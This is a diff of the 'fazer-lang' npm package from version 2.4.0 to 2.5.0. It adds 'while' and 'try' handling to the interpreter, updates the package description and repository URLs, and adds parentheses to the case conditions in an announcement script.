+          const out = await this._execBlock(stmt.thenBlock, inner);
+          if (out instanceof ReturnSignal) return out;
+          return out;
+        } else if (stmt.elseBlock) {
+          const inner = new Scope(scope);
+          const out = await this._execBlock(stmt.elseBlock, inner);
+          if (out instanceof ReturnSignal) return out;
+          return out;
+        }
+        return null;
+      }
+
+      case "while": {
+        let last = null;
+        while (await this._eval(stmt.expr, scope)) {
+           // Reuse the scope? Or new scope per iteration?
+           // Typically new scope per iteration for locals.
+           const inner = new Scope(scope);
+           const out = await this._execBlock(stmt.body, inner);
+           if (out instanceof ReturnSignal) return out;
+           last = out;
+        }
+        return last;
+      }
+
+      case "try": {
+        try {
+           const inner = new Scope(scope);
+           const out = await this._execBlock(stmt.tryBlock, inner);
+           if (out instanceof ReturnSignal) return out;
+           return out;
+        } catch (e) {
+           const inner = new Scope(scope);
+           inner.set(stmt.errVar, { type: "str", value: e.message || String(e) }, false);
+           const out = await this._execBlock(stmt.catchBlock, inner);
+           if (out instanceof ReturnSignal) return out;
+           return out;
+        }
+      }
+
       case "case": {
         const val = await this._eval(stmt.expr, scope);
         for (const arm of stmt.arms) {

package/package.json

@@ -1,7 +1,7 @@
 {
   "name": "fazer-lang",
-  "version": "2.4.0",
-  "description": "Fazer — The ultimate automation language. Batteries-included: Native EXE Build, Icons, HTTP Server, System Exec, Clipboard, Discord, Crypto, and Pipe Operators (->).",
+  "version": "2.5.0",
+  "description": "Fazer — The ultimate automation language. Batteries-included: Native EXE Build, Red Team Tools (Crypto/Reg/Shell), Icons, HTTP Server, System Exec, Clipboard, Discord, and Pipe Operators (->).",
   "main": "fazer.js",
   "bin": {
     "fazer": "fazer.js"
@@ -39,10 +39,10 @@
   "license": "MIT",
   "repository": {
     "type": "git",
-    "url": "https://github.com/viced/fazer-lang.git"
+    "url": "https://github.com/viced-1920/fazer-lang.git"
   },
   "bugs": {
-    "url": "https://github.com/viced/fazer-lang/issues"
+    "url": "https://github.com/viced-1920/fazer-lang/issues"
   },
-  "homepage": "https://github.com/viced/fazer-lang#readme"
+  "homepage": "https://github.com/viced-1920/fazer-lang#readme"
 }

package/tools/announce.fz

@@ -18,7 +18,7 @@ fn send(title, desc, color) ->
     "body": json(payload)
   })
   
-  case res.status >= 200 and res.status < 300
+  case (res.status >= 200 and res.status < 300)
     true -> println("Succès !") end
     else -> println("Erreur " + res.status + ": " + res.body) end
   end
@@ -27,18 +27,18 @@ end
 a := argv()
 start := 1
 
-case len(a) <= start
+case (len(a) <= start)
   true -> println("Usage: fazer tools/announce.fz \"Titre\" \"Description\" [color]") end
   else ->
     title := a[start]
     desc := ""
-    case len(a) > start + 1
+    case (len(a) > start + 1)
       true -> desc := a[start + 1] end
       else -> end
     end
     
     color := 5763719
-    case len(a) > start + 2
+    case (len(a) > start + 2)
       true -> color := a[start + 2] end
       else -> end
     end